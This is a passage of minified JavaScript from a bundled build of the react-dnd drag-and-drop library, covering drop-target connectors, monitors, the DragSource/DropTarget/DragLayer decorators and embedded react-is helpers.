r=Object.prototype.toString.call(e).slice(8,-1);"Object"===r&&e.constructor&&(r=e.constructor.name);if("Map"===r||"Set"===r)return Array.from(e);if("Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r))return xt(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function xt(e,t){(null==t||t>e.length)&&(t=e.length);for(var r=0,n=new Array(t);r<t;r++)n[r]=e[r];return n}function Mt(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}var At=function(){function e(t){var r=this;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.hooks=Dt({dropTarget:function(e,t){r.clearDropTarget(),r.dropTargetOptions=t,Ct(e)?r.dropTargetRef=e:r.dropTargetNode=e,r.reconnect()}}),this.handlerId=null,this.dropTargetRef=null,this.dropTargetOptionsInternal=null,this.lastConnectedHandlerId=null,this.lastConnectedDropTarget=null,this.lastConnectedDropTargetOptions=null,this.backend=t}var t,r,n;return t=e,(r=[{key:"reconnect",value:function(){var e=this.didHandlerIdChange()||this.didDropTargetChange()||this.didOptionsChange();e&&this.disconnectDropTarget();var t=this.dropTarget;this.handlerId&&(t?e&&(this.lastConnectedHandlerId=this.handlerId,this.lastConnectedDropTarget=t,this.lastConnectedDropTargetOptions=this.dropTargetOptions,this.unsubscribeDropTarget=this.backend.connectDropTarget(this.handlerId,t,this.dropTargetOptions)):this.lastConnectedDropTarget=t)}},{key:"receiveHandlerId",value:function(e){e!==this.handlerId&&(this.handlerId=e,this.reconnect())}},{key:"didHandlerIdChange",value:function(){return this.lastConnectedHandlerId!==this.handlerId}},{key:"didDropTargetChange",value:function(){return this.lastConnectedDropTarget!==this.dropTarget}},{key:"didOptionsChange",value:function(){return!at(this.lastConnectedDropTargetOptions,this.dropTargetOptions)}},{key:"disconnectDropTarget",value:function(){this.unsubscribeDropTarget&&(this.unsubscribeDropTarget(),this.unsubscribeDropTarget=void 0)}},{key:"clearDropTarget",value:function(){this.dropTargetRef=null,this.dropTargetNode=null}},{key:"connectTarget",get:function(){return this.dropTarget}},{key:"dropTargetOptions",get:function(){return this.dropTargetOptionsInternal},set:function(e){this.dropTargetOptionsInternal=e}},{key:"dropTarget",get:function(){return this.dropTargetNode||this.dropTargetRef&&this.dropTargetRef.current}}])&&Mt(t.prototype,r),n&&Mt(t,n),e}();function _t(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}var Nt=!1,Ht=function(){function e(t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.targetId=null,this.internalMonitor=t.getMonitor()}var t,r,n;return t=e,(r=[{key:"receiveHandlerId",value:function(e){this.targetId=e}},{key:"getHandlerId",value:function(){return this.targetId}},{key:"subscribeToStateChange",value:function(e,t){return this.internalMonitor.subscribeToStateChange(e,t)}},{key:"canDrop",value:function(){if(!this.targetId)return!1;c(!Nt,"You may not call monitor.canDrop() inside your canDrop() implementation. Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target-monitor");try{return Nt=!0,this.internalMonitor.canDropOnTarget(this.targetId)}finally{Nt=!1}}},{key:"isOver",value:function(e){return!!this.targetId&&this.internalMonitor.isOverTarget(this.targetId,e)}},{key:"getItemType",value:function(){return this.internalMonitor.getItemType()}},{key:"getItem",value:function(){return this.internalMonitor.getItem()}},{key:"getDropResult",value:function(){return this.internalMonitor.getDropResult()}},{key:"didDrop",value:function(){return this.internalMonitor.didDrop()}},{key:"getInitialClientOffset",value:function(){return this.internalMonitor.getInitialClientOffset()}},{key:"getInitialSourceClientOffset",value:function(){return this.internalMonitor.getInitialSourceClientOffset()}},{key:"getSourceClientOffset",value:function(){return this.internalMonitor.getSourceClientOffset()}},{key:"getClientOffset",value:function(){return this.internalMonitor.getClientOffset()}},{key:"getDifferenceFromInitialOffset",value:function(){return this.internalMonitor.getDifferenceFromInitialOffset()}}])&&_t(t.prototype,r),n&&_t(t,n),e}();function Ut(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){if("undefined"==typeof Symbol||!(Symbol.iterator in Object(e)))return;var r=[],n=!0,o=!1,i=void 0;try{for(var a,u=e[Symbol.iterator]();!(n=(a=u.next()).done)&&(r.push(a.value),!t||r.length!==t);n=!0);}catch(e){o=!0,i=e}finally{try{n||null==u.return||u.return()}finally{if(o)throw i}}return r}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return $t(e,t);var r=Object.prototype.toString.call(e).slice(8,-1);"Object"===r&&e.constructor&&(r=e.constructor.name);if("Map"===r||"Set"===r)return Array.from(e);if("Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r))return $t(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function $t(e,t){(null==t||t>e.length)&&(t=e.length);for(var r=0,n=new Array(t);r<t;r++)n[r]=e[r];return n}function Ft(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){if("undefined"==typeof Symbol||!(Symbol.iterator in Object(e)))return;var r=[],n=!0,o=!1,i=void 0;try{for(var a,u=e[Symbol.iterator]();!(n=(a=u.next()).done)&&(r.push(a.value),!t||r.length!==t);n=!0);}catch(e){o=!0,i=e}finally{try{n||null==u.return||u.return()}finally{if(o)throw i}}return r}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Lt(e,t);var r=Object.prototype.toString.call(e).slice(8,-1);"Object"===r&&e.constructor&&(r=e.constructor.name);if("Map"===r||"Set"===r)return Array.from(e);if("Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r))return Lt(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Lt(e,t){(null==t||t>e.length)&&(t=e.length);for(var r=0,n=new Array(t);r<t;r++)n[r]=e[r];return n}function Bt(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){if("undefined"==typeof Symbol||!(Symbol.iterator in Object(e)))return;var r=[],n=!0,o=!1,i=void 0;try{for(var a,u=e[Symbol.iterator]();!(n=(a=u.next()).done)&&(r.push(a.value),!t||r.length!==t);n=!0);}catch(e){o=!0,i=e}finally{try{n||null==u.return||u.return()}finally{if(o)throw i}}return r}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Gt(e,t);var r=Object.prototype.toString.call(e).slice(8,-1);"Object"===r&&e.constructor&&(r=e.constructor.name);if("Map"===r||"Set"===r)return Array.from(e);if("Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r))return Gt(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Gt(e,t){(null==t||t>e.length)&&(t=e.length);for(var r=0,n=new Array(t);r<t;r++)n[r]=e[r];return n}function qt(e){return(qt="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Vt(e){return"function"==typeof e}function Wt(){}function Yt(e){if(!function(e){return"object"===qt(e)&&null!==e}(e))return!1;if(null===Object.getPrototypeOf(e))return!0;for(var t=e;null!==Object.getPrototypeOf(t);)t=Object.getPrototypeOf(t);return Object.getPrototypeOf(e)===t}function zt(e){var t=e.current;return null==t?null:t.decoratedRef?t.decoratedRef.current:t}function Kt(e){return(t=e)&&t.prototype&&"function"==typeof t.prototype.render||function(e){var t,r=e;return"Symbol(react.forward_ref)"===(null==r||null===(t=r.$$typeof)||void 0===t?void 0:t.toString())}(e);var t}function Xt(e,t,r){return e(r={path:t,exports:{},require:function(e,t){return function(){throw new Error("Dynamic requires are not currently supported by @rollup/plugin-commonjs")}
/** @license React v16.13.1
   * react-is.production.min.js
   *
   * Copyright (c) Facebook, Inc. and its affiliates.
   *
   * This source code is licensed under the MIT license found in the
   * LICENSE file in the root directory of this source tree.
   */(null==t&&r.path)}},r.exports),r.exports}var Jt="function"==typeof Symbol&&Symbol.for,Qt=Jt?Symbol.for("react.element"):60103,Zt=Jt?Symbol.for("react.portal"):60106,er=Jt?Symbol.for("react.fragment"):60107,tr=Jt?Symbol.for("react.strict_mode"):60108,rr=Jt?Symbol.for("react.profiler"):60114,nr=Jt?Symbol.for("react.provider"):60109,or=Jt?Symbol.for("react.context"):60110,ir=Jt?Symbol.for("react.async_mode"):60111,ar=Jt?Symbol.for("react.concurrent_mode"):60111,ur=Jt?Symbol.for("react.forward_ref"):60112,cr=Jt?Symbol.for("react.suspense"):60113,sr=Jt?Symbol.for("react.suspense_list"):60120,fr=Jt?Symbol.for("react.memo"):60115,lr=Jt?Symbol.for("react.lazy"):60116,dr=Jt?Symbol.for("react.block"):60121,pr=Jt?Symbol.for("react.fundamental"):60117,hr=Jt?Symbol.for("react.responder"):60118,gr=Jt?Symbol.for("react.scope"):60119;function yr(e){if("object"==typeof e&&null!==e){var t=e.$$typeof;switch(t){case Qt:switch(e=e.type){case ir:case ar:case er:case rr:case tr:case cr:return e;default:switch(e=e&&e.$$typeof){case or:case ur:case lr:case fr:case nr:return e;default:return t}}case Zt:return t}}}function vr(e){return yr(e)===ar}var br={AsyncMode:ir,ConcurrentMode:ar,ContextConsumer:or,ContextProvider:nr,Element:Qt,ForwardRef:ur,Fragment:er,Lazy:lr,Memo:fr,Portal:Zt,Profiler:rr,StrictMode:tr,Suspense:cr,isAsyncMode:function(e){return vr(e)||yr(e)===ir},isConcurrentMode:vr,isContextConsumer:function(e){return yr(e)===or},isContextProvider:function(e){return yr(e)===nr},isElement:function(e){return"object"==typeof e&&null!==e&&e.$$typeof===Qt},isForwardRef:function(e){return yr(e)===ur},isFragment:function(e){return yr(e)===er},isLazy:function(e){return yr(e)===lr},isMemo:function(e){return yr(e)===fr},isPortal:function(e){return yr(e)===Zt},isProfiler:function(e){return yr(e)===rr},isStrictMode:function(e){return yr(e)===tr},isSuspense:function(e){return yr(e)===cr},isValidElementType:function(e){return"string"==typeof e||"function"==typeof e||e===er||e===ar||e===rr||e===tr||e===cr||e===sr||"object"==typeof e&&null!==e&&(e.$$typeof===lr||e.$$typeof===fr||e.$$typeof===nr||e.$$typeof===or||e.$$typeof===ur||e.$$typeof===pr||e.$$typeof===hr||e.$$typeof===gr||e.$$typeof===dr)},typeOf:yr},mr=Xt((function(e,t){})),Or=(mr.AsyncMode,mr.ConcurrentMode,mr.ContextConsumer,mr.ContextProvider,mr.Element,mr.ForwardRef,mr.Fragment,mr.Lazy,mr.Memo,mr.Portal,mr.Profiler,mr.StrictMode,mr.Suspense,mr.isAsyncMode,mr.isConcurrentMode,mr.isContextConsumer,mr.isContextProvider,mr.isElement,mr.isForwardRef,mr.isFragment,mr.isLazy,mr.isMemo,mr.isPortal,mr.isProfiler,mr.isStrictMode,mr.isSuspense,mr.isValidElementType,mr.typeOf,Xt((function(e){e.exports=br}))),Sr={childContextTypes:!0,contextType:!0,contextTypes:!0,defaultProps:!0,displayName:!0,getDefaultProps:!0,getDerivedStateFromError:!0,getDerivedStateFromProps:!0,mixins:!0,propTypes:!0,type:!0},wr={name:!0,length:!0,prototype:!0,caller:!0,callee:!0,arguments:!0,arity:!0},Dr={$$typeof:!0,compare:!0,defaultProps:!0,displayName:!0,propTypes:!0,type:!0},Ir={};function Cr(e){return Or.isMemo(e)?Dr:Ir[e.$$typeof]||Sr}Ir[Or.ForwardRef]={$$typeof:!0,render:!0,defaultProps:!0,displayName:!0,propTypes:!0},Ir[Or.Memo]=Dr;var kr=Object.defineProperty,Tr=Object.getOwnPropertyNames,Pr=Object.getOwnPropertySymbols,jr=Object.getOwnPropertyDescriptor,Er=Object.getPrototypeOf,Rr=Object.prototype;var xr=function e(t,r,n){if("string"!=typeof r){if(Rr){var o=Er(r);o&&o!==Rr&&e(t,o,n)}var i=Tr(r);Pr&&(i=i.concat(Pr(r)));for(var a=Cr(t),u=Cr(r),c=0;c<i.length;++c){var s=i[c];if(!(wr[s]||n&&n[s]||u&&u[s]||a&&a[s])){var f=jr(r,s);try{kr(t,s,f)}catch(e){}}}}return t};function Mr(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function Ar(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}function _r(e,t,r){return t&&Ar(e.prototype,t),r&&Ar(e,r),e}var Nr=function(){var e=function(){function e(t){Mr(this,e),this.isDisposed=!1,this.action=Vt(t)?t:Wt}return _r(e,[{key:"dispose",value:function(){this.isDisposed||(this.action(),this.isDisposed=!0)}}],[{key:"isDisposable",value:function(e){return Boolean(e&&Vt(e.dispose))}},{key:"_fixup",value:function(t){return e.isDisposable(t)?t:e.empty}},{key:"create",value:function(t){return new e(t)}}]),e}();return e.empty={dispose:Wt},e}(),Hr=function(){function e(){Mr(this,e),this.isDisposed=!1;for(var t=arguments.length,r=new Array(t),n=0;n<t;n++)r[n]=arguments[n];this.disposables=r}return _r(e,[{key:"add",value:function(e){this.isDisposed?e.dispose():this.disposables.push(e)}},{key:"remove",value:function(e){var t=!1;if(!this.isDisposed){var r=this.disposables.indexOf(e);-1!==r&&(t=!0,this.disposables.splice(r,1),e.dispose())}return t}},{key:"clear",value:function(){if(!this.isDisposed){for(var e=this.disposables.length,t=new Array(e),r=0;r<e;r++)t[r]=this.disposables[r];this.disposables=[];for(var n=0;n<e;n++)t[n].dispose()}}},{key:"dispose",value:function(){if(!this.isDisposed){this.isDisposed=!0;for(var e=this.disposables.length,t=new Array(e),r=0;r<e;r++)t[r]=this.disposables[r];this.disposables=[];for(var n=0;n<e;n++)t[n].dispose()}}}]),e}(),Ur=function(){function e(){Mr(this,e),this.isDisposed=!1}return _r(e,[{key:"getDisposable",value:function(){return this.current}},{key:"setDisposable",value:function(e){var t=this.isDisposed;if(!t){var r=this.current;this.current=e,r&&r.dispose()}t&&e&&e.dispose()}},{key:"dispose",value:function(){if(!this.isDisposed){this.isDisposed=!0;var e=this.current;this.current=void 0,e&&e.dispose()}}}]),e}();function $r(e){return($r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Fr(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){if("undefined"==typeof Symbol||!(Symbol.iterator in Object(e)))return;var r=[],n=!0,o=!1,i=void 0;try{for(var a,u=e[Symbol.iterator]();!(n=(a=u.next()).done)&&(r.push(a.value),!t||r.length!==t);n=!0);}catch(e){o=!0,i=e}finally{try{n||null==u.return||u.return()}finally{if(o)throw i}}return r}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Lr(e,t);var r=Object.prototype.toString.call(e).slice(8,-1);"Object"===r&&e.constructor&&(r=e.constructor.name);if("Map"===r||"Set"===r)return Array.from(e);if("Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r))return Lr(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Lr(e,t){(null==t||t>e.length)&&(t=e.length);for(var r=0,n=new Array(t);r<t;r++)n[r]=e[r];return n}function Br(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}function Gr(e,t){return(Gr=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function qr(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Date.prototype.toString.call(Reflect.construct(Date,[],(function(){}))),!0}catch(e){return!1}}();return function(){var r,n=Wr(e);if(t){var o=Wr(this).constructor;r=Reflect.construct(n,arguments,o)}else r=n.apply(this,arguments);return Vr(this,r)}}function Vr(e,t){return!t||"object"!==$r(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function Wr(e){return(Wr=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function Yr(e){var r=e.DecoratedComponent,n=e.createHandler,o=e.createMonitor,i=e.createConnector,a=e.registerHandler,u=e.containerDisplayName,s=e.getType,f=e.collect,l=e.options.arePropsEqual,d=void 0===l?at:l,p=r,h=r.displayName||r.name||"Component",g=function(){var e=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&Gr(e,t)}(y,e);var r,u,l,g=qr(y);function y(e){var r;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,y),(r=g.call(this,e)).decoratedRef=t.createRef(),r.handleChange=function(){var e=r.getCurrentState();at(e,r.state)||r.setState(e)},r.disposable=new Ur,r.receiveProps(e),r.dispose(),r}return r=y,(u=[{key:"getHandlerId",value:function(){return this.handlerId}},{key:"getDecoratedComponentInstance",value:function(){return c(this.decoratedRef.current,"In order to access an instance of the decorated component, it must either be a class component or use React.forwardRef()"),this.decoratedRef.current}},{key:"shouldComponentUpdate",value:function(e,t){return!d(e,this.props)||!at(t,this.state)}},{key:"componentDidMount",value:function(){this.disposable=new Ur,this.currentType=void 0,this.receiveProps(this.props),this.handleChange()}},{key:"componentDidUpdate",value:function(e){d(this.props,e)||(this.receiveProps(this.props),this.handleChange())}},{key:"componentWillUnmount",value:function(){this.dispose()}},{key:"receiveProps",value:function(e){this.handler&&(this.handler.receiveProps(e),this.receiveType(s(e)))}},{key:"receiveType",value:function(e){if(this.handlerMonitor&&this.manager&&this.handlerConnector&&e!==this.currentType){this.currentType=e;var t=Fr(a(e,this.handler,this.manager),2),r=t[0],n=t[1];this.handlerId=r,this.handlerMonitor.receiveHandlerId(r),this.handlerConnector.receiveHandlerId(r);var o=this.manager.getMonitor().subscribeToStateChange(this.handleChange,{handlerIds:[r]});this.disposable.setDisposable(new Hr(new Nr(o),new Nr(n)))}}},{key:"dispose",value:function(){this.disposable.dispose(),this.handlerConnector&&this.handlerConnector.receiveHandlerId(null)}},{key:"getCurrentState",value:function(){return this.handlerConnector?f(this.handlerConnector.hooks,this.handlerMonitor,this.props):{}}},{key:"render",value:function(){var e=this;return t.createElement(Ke.Consumer,null,(function(r){var n=r.dragDropManager;return e.receiveDragDropManager(n),"undefined"!=typeof requestAnimationFrame&&requestAnimationFrame((function(){var t;return null===(t=e.handlerConnector)||void 0===t?void 0:t.reconnect()})),t.createElement(p,Object.assign({},e.props,e.getCurrentState(),{ref:Kt(p)?e.decoratedRef:null}))}))}},{key:"receiveDragDropManager",value:function(e){void 0===this.manager&&(c(void 0!==e,"Could not find the drag and drop manager in the context of %s. Make sure to render a DndProvider component in your top-level component. Read more: http://react-dnd.github.io/react-dnd/docs/troubleshooting#could-not-find-the-drag-and-drop-manager-in-the-context",h,h),void 0!==e&&(this.manager=e,this.handlerMonitor=o(e),this.handlerConnector=i(e.getBackend()),this.handler=n(this.handlerMonitor,this.decoratedRef)))}}])&&Br(r.prototype,u),l&&Br(r,l),y}(t.Component);return e.DecoratedComponent=r,e.displayName="".concat(u,"(").concat(h,")"),e}();return xr(g,r)}function zr(e){return(zr="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Kr(e,t){return"string"==typeof e||"symbol"===zr(e)||!!t&&Array.isArray(e)&&e.every((function(e){return Kr(e,!1)}))}function Xr(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}var Jr=["canDrag","beginDrag","isDragging","endDrag"],Qr=["beginDrag"],Zr=function(){function e(t,r,n){var o=this;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.props=null,this.beginDrag=function(){if(o.props)return o.spec.beginDrag(o.props,o.monitor,o.ref.current)},this.spec=t,this.monitor=r,this.ref=n}var t,r,n;return t=e,(r=[{key:"receiveProps",value:function(e){this.props=e}},{key:"canDrag",value:function(){return!!this.props&&(!this.spec.canDrag||this.spec.canDrag(this.props,this.monitor))}},{key:"isDragging",value:function(e,t){return!!this.props&&(this.spec.isDragging?this.spec.isDragging(this.props,this.monitor):t===e.getSourceId())}},{key:"endDrag",value:function(){this.props&&this.spec.endDrag&&this.spec.endDrag(this.props,this.monitor,zt(this.ref))}}])&&Xr(t.prototype,r),n&&Xr(t,n),e}();function en(e){return Object.keys(e).forEach((function(t){c(Jr.indexOf(t)>-1,'Expected the drag source specification to only have some of the following keys: %s. Instead received a specification with an unexpected "%s" key. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source',Jr.join(", "),t),c("function"==typeof e[t],"Expected %s in the drag source specification to be a function. Instead received a specification with %s: %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source",t,t,e[t])})),Qr.forEach((function(t){c("function"==typeof e[t],"Expected %s in the drag source specification to be a function. Instead received a specification with %s: %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source",t,t,e[t])})),function(t,r){return new Zr(e,t,r)}}function tn(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}var rn=["canDrop","hover","drop"],nn=function(){function e(t,r,n){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.props=null,this.spec=t,this.monitor=r,this.ref=n}var t,r,n;return t=e,(r=[{key:"receiveProps",value:function(e){this.props=e}},{key:"receiveMonitor",value:function(e){this.monitor=e}},{key:"canDrop",value:function(){return!this.spec.canDrop||this.spec.canDrop(this.props,this.monitor)}},{key:"hover",value:function(){this.spec.hover&&this.props&&this.spec.hover(this.props,this.monitor,zt(this.ref))}},{key:"drop",value:function(){if(this.spec.drop)return this.spec.drop(this.props,this.monitor,this.ref.current)}}])&&tn(t.prototype,r),n&&tn(t,n),e}();function on(e){return Object.keys(e).forEach((function(t){c(rn.indexOf(t)>-1,'Expected the drop target specification to only have some of the following keys: %s. Instead received a specification with an unexpected "%s" key. Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target',rn.join(", "),t),c("function"==typeof e[t],"Expected %s in the drop target specification to be a function. Instead received a specification with %s: %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target",t,t,e[t])})),function(t,r){return new nn(e,t,r)}}function an(e){return(an="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function un(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function cn(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}function sn(e,t,r){return t&&cn(e.prototype,t),r&&cn(e,r),e}function fn(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&ln(e,t)}function ln(e,t){return(ln=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function dn(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Date.prototype.toString.call(Reflect.construct(Date,[],(function(){}))),!0}catch(e){return!1}}();return function(){var r,n=hn(e);if(t){var o=hn(this).constructor;r=Reflect.construct(n,arguments,o)}else r=n.apply(this,arguments);return pn(this,r)}}function pn(e,t){return!t||"object"!==an(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function hn(e){return(hn=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}e.DndContext=Ke,e.DndProvider=tt,e.DragLayer=function(e){var r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return c("function"==typeof e,'Expected "collect" provided as the first argument to DragLayer to be a function that collects props to inject into the component. ',"Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-layer",e),c(Yt(r),'Expected "options" provided as the second argument to DragLayer to be a plain object when specified. Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-layer',r),function(n){var o=n,i=r.arePropsEqual,a=void 0===i?at:i,u=o.displayName||o.name||"Component",s=function(){var r=function(r){fn(i,r);var n=dn(i);function i(){var e;return un(this,i),(e=n.apply(this,arguments)).isCurrentlyMounted=!1,e.ref=t.createRef(),e.handleChange=function(){if(e.isCurrentlyMounted){var t=e.getCurrentState();at(t,e.state)||e.setState(t)}},e}return sn(i,[{key:"getDecoratedComponentInstance",value:function(){return c(this.ref.current,"In order to access an instance of the decorated component, it must either be a class component or use React.forwardRef()"),this.ref.current}},{key:"shouldComponentUpdate",value:function(e,t){return!a(e,this.props)||!at(t,this.state)}},{key:"componentDidMount",value:function(){this.isCurrentlyMounted=!0,this.handleChange()}},{key:"componentWillUnmount",value:function(){this.isCurrentlyMounted=!1,this.unsubscribeFromOffsetChange&&(this.unsubscribeFromOffsetChange(),this.unsubscribeFromOffsetChange=void 0),this.unsubscribeFromStateChange&&(this.unsubscribeFromStateChange(),this.unsubscribeFromStateChange=void 0)}},{key:"render",value:function(){var e=this;return t.createElement(Ke.Consumer,null,(function(r){var n=r.dragDropManager;return void 0===n?null:(e.receiveDragDropManager(n),e.isCurrentlyMounted?t.createElement(o,Object.assign({},e.props,e.state,{ref:Kt(o)?e.ref:null})):null)}))}},{key:"receiveDragDropManager",value:function(e){if(void 0===this.manager){this.manager=e,c("object"===an(e),"Could not find the drag and drop manager in the context of %s. Make sure to render a DndProvider component in your top-level component. Read more: http://react-dnd.github.io/react-dnd/docs/troubleshooting#could-not-find-the-drag-and-drop-manager-in-the-context",u,u);var t=this.manager.getMonitor();this.unsubscribeFromOffsetChange=t.subscribeToOffsetChange(this.handleChange),this.unsubscribeFromStateChange=t.subscribeToStateChange(this.handleChange)}}},{key:"getCurrentState",value:function(){if(!this.manager)return{};var t=this.manager.getMonitor();return e(t,this.props)}}]),i}(t.Component);return r.displayName="DragLayer(".concat(u,")"),r.DecoratedComponent=n,r}();return xr(s,n)}},e.DragPreviewImage=ot,e.DragSource=function(e,t,r){var n=arguments.length>3&&void 0!==arguments[3]?arguments[3]:{},o=e;"function"!=typeof e&&(c(Kr(e),'Expected "type" provided as the first argument to DragSource to be a string, or a function that returns a string given the current props. Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source',e),o=function(){return e}),c(Yt(t),'Expected "spec" provided as the second argument to DragSource to be a plain object. Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source',t);var i=en(t);return c("function"==typeof r,'Expected "collect" provided as the third argument to DragSource to be a function that returns a plain object of props to inject. Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source',r),c(Yt(n),'Expected "options" provided as the fourth argument to DragSource to be a plain object when specified. Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source',r),function(e){return Yr({containerDisplayName:"DragSource",createHandler:i,registerHandler:ht,createConnector:function(e){return new Tt(e)},createMonitor:function(e){return new mt(e)},DecoratedComponent:e,getType:o,collect:r,options:n})}},e.DropTarget=function(e,t,r){var n=arguments.length>3&&void 0!==arguments[3]?arguments[3]:{},o=e;"function"!=typeof e&&(c(Kr(e,!0),'Expected "type" provided as the first argument to DropTarget to be a string, an array of strings, or a function that returns either given the current props. Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target',e),o=function(){return e}),c(Yt(t),'Expected "spec" provided as the second argument to DropTarget to be a plain object. Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target',t);var i=on(t);return c("function"==typeof r,'Expected "collect" provided as the third argument to DropTarget to be a function that returns a plain object of props to inject. Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target',r),c(Yt(n),'Expected "options" provided as the fourth argument to DropTarget to be a plain object when specified. Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target',r),function(e){return Yr({containerDisplayName:"DropTarget",createHandler:i,registerHandler:pt,createMonitor:function(e){return new Ht(e)},createConnector:function(e){return new At(e)},DecoratedComponent:e,getType:o,collect:r,options:n})}},e.createDndContext=Xe,e.useDrag=function(e){var r=t.useRef(e);r.current=e,c(null!=e.item,"item must be defined"),c(null!=e.item.type,"item type must be defined");var n,o=Rt((n=gt(),[t.useMemo((function(){return new mt(n)}),[n]),t.useMemo((function(){return new Tt(n.getBackend())}),[n])]),2),i=o[0],a=o[1];!function(e,r,n){var 